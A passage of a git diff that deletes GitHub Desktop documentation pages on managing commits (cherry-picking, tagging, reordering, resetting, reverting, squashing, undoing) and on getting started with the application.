the "History" tab to the **{% octicon "git-branch" aria-hidden="true" %} Current Branch** dropdown menu, then drop the commit on the branch that you want to copy the commit to. - - ![Screenshot of the "History" tab and the "Current Branch" dropdown. The cursor hovers over "my-feature", and "plus one" icons show one extra commit.](/assets/images/help/desktop/cherry-picking.png) - -1. The current branch changes to the branch onto which you cherry-picked the commit. You can now push the cherry-picked commit to the remote repository. - -## Further reading - -* [git-cherry-pick](https://git-scm.com/docs/git-cherry-pick) in the Git documentation -* [AUTOTITLE](/desktop/managing-commits/options-for-managing-commits-in-github-desktop) diff --git a/content/desktop/managing-commits/index.md b/content/desktop/managing-commits/index.md deleted file mode 100644 index 7547727c872f..000000000000 --- a/content/desktop/managing-commits/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Managing commits -intro: 'You can use {% data variables.product.prodname_desktop %} to amend, cherry-pick, reorder, revert, reset, and squash commits.' -versions: - feature: desktop -children: - - /options-for-managing-commits-in-github-desktop - - /undoing-a-commit-in-github-desktop - - /resetting-to-a-commit-in-github-desktop - - /amending-a-commit-in-github-desktop - - /reverting-a-commit-in-github-desktop - - /cherry-picking-a-commit-in-github-desktop - - /reordering-commits-in-github-desktop - - /squashing-commits-in-github-desktop - - /managing-tags-in-github-desktop - - /checking-out-a-commit-in-github-desktop -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits ---- - diff --git a/content/desktop/managing-commits/managing-tags-in-github-desktop.md b/content/desktop/managing-commits/managing-tags-in-github-desktop.md deleted file mode 100644 index 9917f0306617..000000000000 --- a/content/desktop/managing-commits/managing-tags-in-github-desktop.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Managing tags in GitHub Desktop -shortTitle: Managing tags -intro: 'You can use {% data variables.product.prodname_desktop %} to create, push, and view tags.' -redirect_from: - - /desktop/contributing-to-projects/managing-tags - - /desktop/contributing-and-collaborating-using-github-desktop/managing-tags - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -## About tags in {% data variables.product.prodname_desktop %} - -{% data variables.product.prodname_desktop %} allows you to create annotated tags. Tags are associated with commits, so you can use a tag to mark an individual point in your repository's history, including a version number for a release. For more information about release tags, see [AUTOTITLE](/repositories/releasing-projects-on-github/about-releases). - -{% data reusables.desktop.tags-push-with-commits %} - -## Creating a tag - -{% data reusables.desktop.history-tab %} -{% data reusables.desktop.create-tag %} -{% data reusables.desktop.name-tag %} -{% data reusables.desktop.confirm-tag %} - -## Viewing tags - -{% data reusables.desktop.history-tab %} -1. Click the commit. - - > [!NOTE] - > {% data variables.product.prodname_desktop %} displays an arrow {% octicon "arrow-up" aria-label="The up arrow icon" %} if the tag has not been pushed to the remote repository. - - ![Screenshot of a list of commits in the "History" tab. Next to a commit, a "hello-tag" label and an "up arrow" icon are outlined in orange.](/assets/images/help/desktop/viewing-tags-in-history.png) - -1. All tags associated with the commit are visible in that commit's metadata. - - ![Screenshot of the detailed view of a commit. Above the commit's diff, in the metadata, a tag icon and the label "hello-tag" are outlined in orange.](/assets/images/help/desktop/viewing-tags-in-commit.png) - -## Deleting tags - -> [!NOTE] -> You can only delete tags associated with commits that have not yet been pushed. - -{% data reusables.desktop.history-tab %} -{% data reusables.desktop.delete-tag %} - -## Further reading - -* [Git Basics - Tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging) in the Git documentation diff --git a/content/desktop/managing-commits/options-for-managing-commits-in-github-desktop.md b/content/desktop/managing-commits/options-for-managing-commits-in-github-desktop.md deleted file mode 100644 index 290e113361ac..000000000000 --- a/content/desktop/managing-commits/options-for-managing-commits-in-github-desktop.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Options for managing commits in GitHub Desktop -shortTitle: Options for managing commits -intro: 'You can use {% data variables.product.prodname_desktop %} to maintain an easy-to-follow commit history.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About commit history in {% data variables.product.prodname_desktop %} - -When you're contributing changes to a repository, your commit history should tell an easy-to-follow story about how you arrived at the changes you've made. To help people review your work, and to make it easier for people to find when and why changes were introduced to a repository, we recommend you follow certain best practices, such as: - -* Organizing your commits into a sequential, easy-to-follow order -* Writing clear commit messages that include your intent and any necessary context -* Making small commits that contain related changes - -Often, it is difficult to follow these best practices perfectly at the point where you're making changes. You might realize you need to undo the changes in a commit you've made, edit a commit message, or reorder your commits to tell a clearer story. With {% data variables.product.prodname_desktop %}, you can manage your commit history directly from the user interface. - -> [!NOTE] -> Where possible, you should avoid changing the history of commits that have already been pushed to the remote repository. Other contributors may have already based work on these commits. - -## Options for managing commit history in {% data variables.product.prodname_desktop %} - -| Option | Description | More information | -| ------ | ----------- | ---------------- | -| Undo a commit | Restores the changes from a commit to your working directory, so you can make further changes before re-committing. Useful if you made a mistake in the changes you included. Not possible if you have already pushed the commit to the remote repository. | [AUTOTITLE](/desktop/managing-commits/undoing-a-commit-in-github-desktop) | -| Reset to commit | Similar to undoing a commit, but restores the changes from all of the commits up to the selected commit to your working directory. Can only be used up to the most recent commit that has been pushed to the remote repository. | [AUTOTITLE](/desktop/managing-commits/resetting-to-a-commit-in-github-desktop) | -| Amend a commit | Lets you edit your most recent commit message or combine new changes with the most recent commit. Useful if the changes in the previous commit are still valid, but you have made further changes that fit into the same commit. | [AUTOTITLE](/desktop/managing-commits/amending-a-commit-in-github-desktop) | -| Revert a commit | Creates a new commit that reverses the changes of another commit in your history. Useful if a commit has already been pushed to the remote repository, and you don't want to remove the commit from the repository's history. | [AUTOTITLE](/desktop/managing-commits/reverting-a-commit-in-github-desktop) | -| Cherry-pick a commit | Copies a commit from one branch to another. Useful if you have accidentally committed changes on the wrong branch, or if you need to apply a bug fix across different branches you're working on. | [AUTOTITLE](/desktop/managing-commits/cherry-picking-a-commit-in-github-desktop) | -| Reorder commits | Changes the order of commits in your history. Useful if changing the order would make your progress easier to follow. | [AUTOTITLE](/desktop/managing-commits/reordering-commits-in-github-desktop) | -| Squash commits | Combines multiple commits into a single commit. Useful if you have a series of small commits that contain related changes. | [AUTOTITLE](/desktop/managing-commits/squashing-commits-in-github-desktop) | diff --git a/content/desktop/managing-commits/reordering-commits-in-github-desktop.md b/content/desktop/managing-commits/reordering-commits-in-github-desktop.md deleted file mode 100644 index 5d2ad8479a95..000000000000 --- a/content/desktop/managing-commits/reordering-commits-in-github-desktop.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Reordering commits in GitHub Desktop -shortTitle: Reordering commits -intro: 'You can use {% data variables.product.prodname_desktop %} to reorder commits in your branch''s history.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits-in-github-desktop ---- - -## About reordering a commit - -Reordering allows you to alter your commit history to provide a more meaningful progression of commits. {% data variables.product.prodname_desktop %} allows you to drag-and-drop commits in your branch's history to reorder them. - -## Reordering a commit - -{% data reusables.desktop.current-branch-menu %} -1. In the list of branches, click the branch with the commits that you want to reorder. - - ![Screenshot of the "Current Branch" dropdown view. Under "Recent Branches", a branch, named "my-feature", is highlighted with an orange outline.](/assets/images/help/desktop/select-branch-from-dropdown.png) - -{% data reusables.desktop.history-tab %} -1. Drag the commit that you want to reorder and drop it between two adjoining commits. - - ![Screenshot of a list of commits in the "History" tab. The cursor hovers over a narrow line between two commits as one commit is moved, see "one" icon.](/assets/images/help/desktop/reorder-drag-and-drop.png) - -While the application reorders the commits, a **Reorder in process** dialog indicates the progress of the change. - -## Error messages when reordering commits - -When you reorder commits, you may see one of the following notifications or error messages. - -* A notification states that the requested change to the branch will require a force push to update the remote branch. This is shown when the commits that you reordered were previously pushed to the remote branch. Force pushing alters the commit history of the branch and will affect other collaborators who are working in that branch. Select **Begin reorder** to start the reorder, and then click **Force push origin** to push your changes. -* An error states that the reorder failed because there is a merge commit among the reordered commits. -* A notification is shown indicating that there are uncommitted changes present on your current branch. Select **Stash Changes and Continue** to store the changes and proceed, or select **Close** to dismiss the message and commit the changes. When there are no longer any uncommitted changes, you can reorder your commits. -* A message states that there are merge conflicts that you must resolve before the application can continue reordering commits on your branch. - 1. Click **View conflicts**. - - ![Screenshot of a notification about conflicts. At the end of the message, a link, labeled "View commits", is highlighted with an orange outline.](/assets/images/help/desktop/reorder-resolve-conflicts.png) - {% data reusables.desktop.resolve-merge-conflicts %} - - 1. When all conflicts are resolved, you can reorder your commits. - -## Further reading - -* [AUTOTITLE](/desktop/managing-commits/options-for-managing-commits-in-github-desktop) diff --git a/content/desktop/managing-commits/resetting-to-a-commit-in-github-desktop.md b/content/desktop/managing-commits/resetting-to-a-commit-in-github-desktop.md deleted file mode 100644 index cb3e90eba072..000000000000 --- a/content/desktop/managing-commits/resetting-to-a-commit-in-github-desktop.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Resetting to a commit in GitHub Desktop -shortTitle: Resetting to a commit -intro: You can reset to any commit up to the one that was last pushed to the remote branch. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About resetting to a commit - -If you made a series of commits and want to fix a mistake you made prior to the most recent commit, you can use "reset to commit" in {% data variables.product.prodname_desktop %} to reset the changes in those commits. Resetting to a commit restores the changes in the subsequent commits to your working directory and resets the branch to the selected commit. You can then make changes before committing again, or you can discard changes that you don't want to keep. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop). - -You can reset to commit up to the most recent commit that has already been pushed to the remote repository. To undo a pushed commit without disrupting the commit history for other contributors, you can revert the commit. For more information, see [AUTOTITLE](/desktop/managing-commits/reverting-a-commit-in-github-desktop). - -If you want to edit your most recent commit message, or combine new changes with your most recent commit, you can amend a commit. For more information, see [AUTOTITLE](/desktop/managing-commits/amending-a-commit-in-github-desktop). - -## Resetting to a commit - -{% data reusables.desktop.history-tab %} -1. Right-click on the commit you would like to reset to and select **Reset to commit**. - -## Further reading - -* [Git Tools - Reset Demystified](https://git-scm.com/book/en/v2/Git-Tools-Reset-Demystified) in the Git documentation diff --git a/content/desktop/managing-commits/reverting-a-commit-in-github-desktop.md b/content/desktop/managing-commits/reverting-a-commit-in-github-desktop.md deleted file mode 100644 index 3713aca2b184..000000000000 --- a/content/desktop/managing-commits/reverting-a-commit-in-github-desktop.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Reverting a commit in GitHub Desktop -shortTitle: Reverting a commit -intro: 'You can use {% data variables.product.prodname_desktop %} to revert a specific commit to remove its changes from your branch.' -redirect_from: - - /desktop/contributing-to-projects/reverting-a-commit - - /desktop/contributing-and-collaborating-using-github-desktop/reverting-a-commit - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -When you revert to a previous commit, the revert is also a commit. The original commit also remains in the repository's history. - -> [!TIP] -> When you revert multiple commits, it's best to revert in order from newest to oldest. If you revert commits in a different order, you may see merge conflicts. - -{% data reusables.desktop.history-tab %} -{% data reusables.desktop.revert-commit %} - -## Further reading - -* [AUTOTITLE](/desktop/managing-commits/options-for-managing-commits-in-github-desktop) diff --git a/content/desktop/managing-commits/squashing-commits-in-github-desktop.md b/content/desktop/managing-commits/squashing-commits-in-github-desktop.md deleted file mode 100644 index 6d96dcd36bed..000000000000 --- a/content/desktop/managing-commits/squashing-commits-in-github-desktop.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Squashing commits in GitHub Desktop -shortTitle: Squashing commits -intro: 'You can use {% data variables.product.prodname_desktop %} to squash commits in your branch''s history.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits-in-github-desktop ---- - -## About squashing a commit - -Squashing allows you to combine multiple commits in your branch's history into a single commit. This can help keep your repository's history more readable and understandable. - -## Squashing a commit - -{% data reusables.desktop.current-branch-menu %} -1. In the list of branches, select the branch that has the commits that you want to squash. -{% data reusables.desktop.history-tab %} -1. Select the commits to squash and drop them on the commit you want to combine them with. - - {% mac %} - - You can select one commit or select multiple commits using Command or Shift. - - {% endmac %} - - {% windows %} - - You can select one commit or select multiple commits using Ctrl or Shift. - - {% endwindows %} - - ![Screenshot of a list of commits in the "History" tab. The cursor hovers over a commit, highlighted in blue. A hover-over box shows "Squash 2 commits".](/assets/images/help/desktop/squash-drag-and-drop.png) - -1. Modify the commit message of your new commit. The commit messages of the selected commits you want to squash are pre-filled into the **Summary** and **Description** fields. -1. Click **Squash Commits**. - -## Error messages when squashing commits - -When you squash commits, you may see one of the following notifications or error messages. - -* A notification states that the requested change to the branch will require a force push to update the remote branch. Force pushing alters the commit history of the branch and will affect other collaborators who are working in that branch. Select **Begin Squash** to start the squash, and then click **Force push origin** to push your changes. -* An error states that the squash failed because there is a merge commit among the squashed commits. -* A notification is shown indicating that there are uncommitted changes present on your current branch. Select **Stash Changes and Continue** to store the changes and proceed, or select **Close** to dismiss the message and commit the changes. When there are no longer any uncommitted changes you can squash your commits. - -## Further reading - -* [AUTOTITLE](/desktop/managing-commits/options-for-managing-commits-in-github-desktop) diff --git a/content/desktop/managing-commits/undoing-a-commit-in-github-desktop.md b/content/desktop/managing-commits/undoing-a-commit-in-github-desktop.md deleted file mode 100644 index 687f9a1e68f2..000000000000 --- a/content/desktop/managing-commits/undoing-a-commit-in-github-desktop.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Undoing a commit in GitHub Desktop -shortTitle: Undoing a commit -intro: You can undo a commit before you have pushed it to the remote branch. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About undoing a commit - -If you made a mistake in your changes, you can undo a commit in {% data variables.product.prodname_desktop %}. Undoing a commit restores the changes in the commit to your working directory and resets the branch to the previous commit, so you can make further changes before committing again. - -You can undo multiple sequential commits up to a commit that has already been pushed to the remote repository by selecting a previous commit and using the "reset to commit" option. For more information, see [AUTOTITLE](/desktop/managing-commits/resetting-to-a-commit-in-github-desktop). To undo a pushed commit without disrupting commit history for other contributors, you can revert the commit. For more information, see [AUTOTITLE](/desktop/managing-commits/reverting-a-commit-in-github-desktop). - -If you want to edit your most recent commit message, or combine new changes with your most recent commit, you can amend a commit. For more information, see [AUTOTITLE](/desktop/managing-commits/amending-a-commit-in-github-desktop). - -## Undoing a commit - -1. In the left sidebar, ensure you are on the **Changes** tab. -1. At the bottom of the sidebar, click **Undo**. - - ![Screenshot of part of the "Changes" tab. Next to the commit message, a button, labeled "Undo", is highlighted with an orange outline.](/assets/images/help/desktop/undo-commit.png) - -## Further reading - -* [AUTOTITLE](/desktop/managing-commits/options-for-managing-commits-in-github-desktop) diff --git a/content/desktop/overview/about-github-desktop.md b/content/desktop/overview/about-github-desktop.md deleted file mode 100644 index 80813bbc8a57..000000000000 --- a/content/desktop/overview/about-github-desktop.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: About GitHub Desktop -shortTitle: About -intro: '{% data variables.product.prodname_desktop %} helps you work with projects hosted on {% data variables.product.prodname_dotcom %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/installing-and-configuring-github-desktop/overview/about-github-desktop - - /github/getting-started-with-github/github-desktop - - /github/getting-started-with-github/using-github/github-desktop - - /get-started/using-github/github-desktop ---- - -Download {% data variables.product.prodname_desktop %} {% octicon "link-external" height:16 %} - -## About {% data variables.product.prodname_desktop %} - -{% data variables.product.prodname_desktop %} is a free, open source application that helps you to work with files hosted on {% data variables.product.prodname_dotcom %} or other Git hosting services. - -## Benefits of {% data variables.product.prodname_desktop %} - -{% data variables.product.prodname_desktop %} is useful for beginning and advanced users. Benefits include: - -* **Get started easily.** If you're new to Git and {% data variables.product.prodname_dotcom %}, you may find it easier to use {% data variables.product.prodname_desktop %} than to use Git on the command line. {% data variables.product.prodname_desktop %} has a graphical user interface that simplifies commands and helps you visualize changes. -* **Find commands.** Because {% data variables.product.prodname_desktop %} has a visual interface, you can easily access less-common Git commands, such as choosing which changed lines to include in a commit or adding a co-author to a commit, without needing to memorize or look up syntax. -* **Follow best practices.** {% data variables.product.prodname_desktop %} encourages best practices. For example, it helps you to create an accurate and easy-to-follow commit history so other collaborators on a project can easily review your work. -* **Integrate with {% data variables.product.github %}.** {% data variables.product.prodname_desktop %} is specifically designed for use with {% data variables.product.github %}. For example, you can authenticate to {% data variables.product.github %} or {% data variables.product.prodname_enterprise %} quickly, without needing to use a separate credential manager. You can also check out a pull request to run checks without needing to open your browser. - -## {% data variables.product.prodname_desktop %} workflow - -You can use {% data variables.product.prodname_desktop %} alongside any tools you need to contribute to a project. For example, a typical workflow is: - -* Use {% data variables.product.prodname_desktop %} to download a {% data variables.product.prodname_dotcom %} repository to your computer and create a new branch -* Use an editor such as {% data variables.product.prodname_vscode %} to make changes to the code -* Return to {% data variables.product.prodname_desktop %} to commit and push the changes to {% data variables.product.prodname_dotcom %} - -## Getting started - -{% data variables.product.prodname_desktop %} is available for Windows and macOS. For information about installing and getting started with {% data variables.product.prodname_desktop %}, see [AUTOTITLE](/desktop/overview/getting-started-with-github-desktop). - -If you're interested in the open source {% data variables.product.prodname_desktop %} project, you can see the roadmap, contribute to the project, or open an issue to provide feedback in the [`desktop/desktop`](https://github.com/desktop/desktop) repository. - -## Further reading - -* [AUTOTITLE](/get-started/using-git/about-git) diff --git a/content/desktop/overview/creating-your-first-repository-using-github-desktop.md b/content/desktop/overview/creating-your-first-repository-using-github-desktop.md deleted file mode 100644 index 653215ae9cb0..000000000000 --- a/content/desktop/overview/creating-your-first-repository-using-github-desktop.md +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Creating your first repository using GitHub Desktop -shortTitle: Creating your first repository -intro: 'You can use {% data variables.product.prodname_desktop %} to create and manage a Git repository without using the command line.' -redirect_from: - - /desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop - - /desktop/installing-and-configuring-github-desktop/creating-your-first-repository-using-github-desktop - - /desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -## Introduction - -{% data reusables.desktop.about-github-desktop %} - -By the end of this guide, you'll have used {% data variables.product.prodname_desktop %} to create a repository, make changes to the repository, and publish the changes to {% data variables.product.github %}. - -After installing {% data variables.product.prodname_desktop %} and signing into {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} you can create and clone a tutorial repository. The tutorial will introduce the basics of working with Git and {% data variables.product.prodname_dotcom %}, including installing a text editor, creating a branch, making a commit, pushing to {% data variables.product.github %}, and opening a pull request. The tutorial is available if you do not have any repositories on {% data variables.product.prodname_desktop %} yet. - -We recommend completing the tutorial, but if you want to explore {% data variables.product.prodname_desktop %} by creating a new repository, this guide will walk you through using {% data variables.product.prodname_desktop %} to work on a Git repository. - -## Part 1: Installing {% data variables.product.prodname_desktop %} and authenticating your account - -You can install {% data variables.product.prodname_desktop %} on any supported operating system. After you install the app, you will need to sign in and authenticate your account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} before you can create and clone a tutorial repository. - -For more information on installing and authenticating, see [AUTOTITLE](/desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop). - -## Part 2: Creating a new repository - -If you do not have any repositories associated with {% data variables.product.prodname_desktop %}, you will see a "Let's get started!" view, where you can choose to create and clone a tutorial repository, clone an existing repository from the Internet, create a new repository, or add an existing repository from your hard drive. - -![Screenshot of the "Let's get started!" view in GitHub Desktop.](/assets/images/help/desktop/lets-get-started.png) - -### Creating and cloning a tutorial repository - -We recommend that you create and clone a tutorial repository as your first project to practice using {% data variables.product.prodname_desktop %}. - -1. Click **Create a Tutorial Repository...**. -1. Follow the prompts in the tutorial to install a text editor, create a branch, edit a file, make a commit, publish to {% data variables.product.prodname_dotcom %}, and open a pull request. - -### Creating a new repository - -If you do not wish to create and clone a tutorial repository, you can create a new repository. - -1. Click **Create a New Repository on your Hard Drive...**. -1. In the "Create a New Repository" window, fill in the fields and select your preferred options. - * "Name" defines the name of your repository both locally and on {% data variables.product.github %}. - * "Description" is an optional field that you can use to provide more information about the purpose of your repository. - * "Local path" sets the location of your repository on your computer. By default, {% data variables.product.prodname_desktop %} creates a _GitHub_ folder inside your _Documents_ folder to store your repositories, but you can choose any location on your computer. Your new repository will be a folder inside the chosen location. For example, if you name your repository `Tutorial`, a folder named _Tutorial_ is created inside the folder you selected for your local path. {% data variables.product.prodname_desktop %} remembers your chosen location the next time you create or clone a new repository. - * **Initialize this repository with a README** creates an initial commit with a _README.md_ file. READMEs helps people understand the purpose of your project, so we recommend selecting this and filling it out with helpful information. When someone visits your repository on {% data variables.product.github %}, the README is the first thing they'll see as they learn about your project. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - * The **Git ignore** drop-down menu lets you add a custom file to ignore specific files in your local repository that you don't want to store in version control. If there's a specific language or framework that you'll be using, you can select an option from the available list. If you're just getting started, feel free to skip this selection. For more information, see [AUTOTITLE](/get-started/git-basics/ignoring-files). - * The **License** drop-down menu lets you add an open-source license to a LICENSE file in your repository. You don't need to worry about adding a license right away. For more information about available open-source licenses and how to add them to your repository, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository). -1. Click **Create repository**. - -## Part 3: Exploring {% data variables.product.prodname_desktop %} - -In the file menu at the top of the screen, you can access settings and actions that you can perform in {% data variables.product.prodname_desktop %}. Most actions also have keyboard shortcuts to help you work more efficiently. For a full list of keyboard shortcuts, see [AUTOTITLE](/desktop/overview/github-desktop-keyboard-shortcuts). - -### The {% data variables.product.prodname_desktop %} repository bar - -At the top of the {% data variables.product.prodname_desktop %} app, you will see a bar that shows the current state of your repository. - -![Screenshot of the GitHub Desktop app. A bar showing details for the "hello-world" repository spans the top of the window, and is outlined in orange.](/assets/images/help/desktop/explore-github-desktop.png) - -* **Current repository** shows the name of the repository you're working on. You can click **Current repository** to switch to a different repository in {% data variables.product.prodname_desktop %}. -* **Current branch** shows the name of the branch you're working on. You can click **Current branch** to view all the branches in your repository, switch to a different branch, or create a new branch. Once you create pull requests in your repository, you can also view these by clicking on **Current branch**. -* **Publish repository** appears because you haven't published your repository to {% data variables.product.github %} yet, which you'll do later in the next step. This section of the bar will change based on the status of your current branch and repository. Different context dependent actions will be available that let you exchange data between your local and remote repositories. - -### Changes and History - -In the left sidebar, you'll find the **Changes** and **History** views. - -![Screenshot of the GitHub Desktop app. A sidebar on the left-hand side, with tabs labeled "Changes" and "History", is outlined in orange.](/assets/images/help/desktop/changes-and-history.png) - -* The **Changes** view shows changes you've made to files in your current branch but haven't committed to your local repository. At the bottom, there is a box with "Summary" and "Description" text boxes and a **Commit to BRANCH** button. This is where you'll commit new changes. The **Commit to BRANCH** button is dynamic and will display which branch you're committing your changes to. -* The **History** view shows the previous commits on the current branch of your repository. You should see an "Initial commit" that was created by {% data variables.product.prodname_desktop %} when you created your repository. To the right of the commit, depending on the options you selected while creating your repository, you may see _.gitattributes_, _.gitignore_, LICENSE, or README files. You can click each file to see a diff for that file, which is the changes made to the file in that commit. The diff only shows the parts of the file that have changed, not the entire contents of the file - -## Part 4: Publishing your repository to {% data variables.product.github %} - -When you create a new repository, it only exists on your computer and you are the only one who can access the repository. You can publish your repository to {% data variables.product.github %} to keep it synchronized across multiple computers and allow other people to access it. To publish your repository, push your local changes to {% data variables.product.github %}. - -1. In the repository bar, click **Publish repository**. - ![Screenshot of the repository bar. A button, labeled "Publish repository", is highlighted with an orange outline.](/assets/images/help/desktop/publish-repository.png) -1. In the "Publish Repository" window, enter details for your new repository. - * {% data variables.product.prodname_desktop %} automatically fills the "Name" and "Description" fields with the information you entered when you created the repository. - * **Keep this code private** lets you control who can view your project. If you leave this option unselected, other users on {% data variables.product.github %} will be able to view your code. If you select this option, your code will not be publicly available. - * The **Organization** drop-down menu, if present, lets you publish your repository to a specific organization that you belong to on {% data variables.product.github %}. - 1. Click **Publish Repository**. - 1. You can access the repository on {% data variables.product.github %} from within {% data variables.product.prodname_desktop %}. In the file menu, click **Repository**, then click **View on GitHub**. This will take you directly to the repository in your default browser. - -## Part 5: Making, committing, and pushing changes - -Now that you've created and published your repository, you're ready to make changes to your project and start crafting your first commit to your repository. - -1. To launch your external editor from within {% data variables.product.prodname_desktop %}, in the "{% data variables.product.prodname_desktop %}" menu bar, select **Repository**, then click **Open in EDITOR**. For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor-in-github-desktop). - ![Screenshot of a menu bar on a Mac. Under the open "Repository" dropdown menu, a cursor hovers over "Open in {% data variables.product.prodname_vscode %}", highlighted in blue.](/assets/images/help/desktop/open-in-editor.png) - -1. Make some changes to the _README.md_ file that you previously created. You can add information that describes your project, like what it does and why it is useful. When you are satisfied with your changes, save them in your text editor. -1. In {% data variables.product.prodname_desktop %}, navigate to the **Changes** view. In the file list, you should see your _README.md_. The checkbox to the left of the _README.md_ file indicates that the changes you've made to the file will be part of the commit you make. In the future, you might make changes to multiple files but only want to commit the changes you've made to some of the files. If you click the checkbox next to a file, that file will not be included in the commit. - ![Screenshot of the "Changes" tab in the sidebar. To the left of the "README.md" file, a selected checkbox is highlighted with an orange outline.](/assets/images/help/desktop/viewing-changes.png) - -1. At the bottom of the **Changes** list, enter a commit message. To the right of your profile picture, type a short description of the commit. Since we're changing the _README.md_ file, "Add information about purpose of project" would be a good commit summary. Below the summary, you'll see a "Description" text field where you can type a longer description of the changes in the commit, which is helpful when looking back at the history of a project and understanding why changes were made. Since you're making a basic update of a _README.md_ file, you can skip the description. - ![Screenshot of the "Changes" tab in the sidebar. To the right of a profile picture, a text field containing a commit message is outlined in orange.](/assets/images/help/desktop/commit-message.png) -1. Below your commit message, click **Commit to BRANCH NAME**. The commit button shows your current branch so you can be sure to commit to the branch you want. -1. To push your changes to the remote repository on {% data variables.product.github %}, click **Push origin**. - ![Screenshot of the "Repository" menu bar. A button, labeled "Push origin", is highlighted with an orange outline.](/assets/images/help/desktop/push-to-origin.png) - - * The **Push origin** button is the same one that you clicked to publish your repository to {% data variables.product.github %}. This button changes contextually based on where you are at in the Git workflow. It should now say `Push origin` with a `1` next to it, indicating that there is one commit that has not been pushed up to {% data variables.product.github %}. - * The "origin" in **Push origin** means that you are pushing changes to the remote called `origin`, which in this case is your project's repository on {% data variables.product.github %}. Until you push any new commits to {% data variables.product.github %}, there will be differences between your project's repository on your computer and your project's repository on {% data variables.product.github %}. This allows you to work locally and only push your changes to {% data variables.product.github %} when you're ready. -1. In the window to the right of the **Changes** view, you'll see suggestions for actions you can do next. To open the repository on {% data variables.product.github %} in your browser, click **View on {% data variables.product.github %}**. - ![Screenshot of the "No local changes" screen. In a list of suggestions, a button, labeled "View on GitHub", is highlighted with an orange outline.](/assets/images/help/desktop/available-actions.png) -1. In your browser, click **2 commits**. You'll see a list of the commits in this repository on {% data variables.product.github %}. The first commit should be the commit you just made in {% data variables.product.prodname_desktop %}. - ![Screenshot of the repository page on GitHub. Above the list of files and next to a clock icon, a link, labeled "2 commits", is outlined in orange.](/assets/images/help/desktop/click-two-commits.png) - -## Conclusion - -You've now created a repository, published the repository to {% data variables.product.github %}, made a commit, and pushed your changes to {% data variables.product.github %}. You can follow this same workflow when contributing to other projects that you create or collaborate on. - -## Further reading - -* [AUTOTITLE](/get-started/getting-started-with-git) -* [AUTOTITLE](/get-started/learning-about-github) -* [AUTOTITLE](/get-started) diff --git a/content/desktop/overview/getting-started-with-github-desktop.md b/content/desktop/overview/getting-started-with-github-desktop.md deleted file mode 100644 index e35c04c31000..000000000000 --- a/content/desktop/overview/getting-started-with-github-desktop.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Getting started with GitHub Desktop -intro: 'Learn how to set up, authenticate, and configure {% data variables.product.prodname_desktop %} to allow you to contribute to projects directly from your machine.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop - - /desktop/guides/getting-started -shortTitle: Get started ---- - -## Introduction - -{% data reusables.desktop.about-github-desktop %} - -This guide will help you get started with {% data variables.product.prodname_desktop %} by setting up the application, authenticating your account, configuring basic settings, and introducing the fundamentals of managing projects with {% data variables.product.prodname_desktop %}. You will be able to use {% data variables.product.prodname_desktop %} to collaborate on projects and connect to remote repositories after working through this guide. - -You might find it helpful to have a basic understanding of Git and {% data variables.product.prodname_dotcom %} before getting started with {% data variables.product.prodname_desktop %}. For more information, see the following articles. - -* [AUTOTITLE](/get-started/using-git) -* [AUTOTITLE](/get-started/learning-about-github) -* [AUTOTITLE](/get-started) - -{% data variables.product.prodname_desktop %} is an open source project. You can see the roadmap, contribute to the project, or open an issue to provide feedback or feature requests. For more information, see the [`desktop/desktop`](https://github.com/desktop/desktop) repository. - -## Part 1: Installing and authenticating - -You can install {% data variables.product.prodname_desktop %} on any supported operating system. For more information, see [AUTOTITLE](/desktop/overview/supported-operating-systems-for-github-desktop). - -To install {% data variables.product.prodname_desktop %}, visit the download page for [{% data variables.product.prodname_desktop %}](https://desktop.github.com/). For more information, see [AUTOTITLE](/desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop). - -After you have installed {% data variables.product.prodname_desktop %}, you can authenticate the application with your account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}. 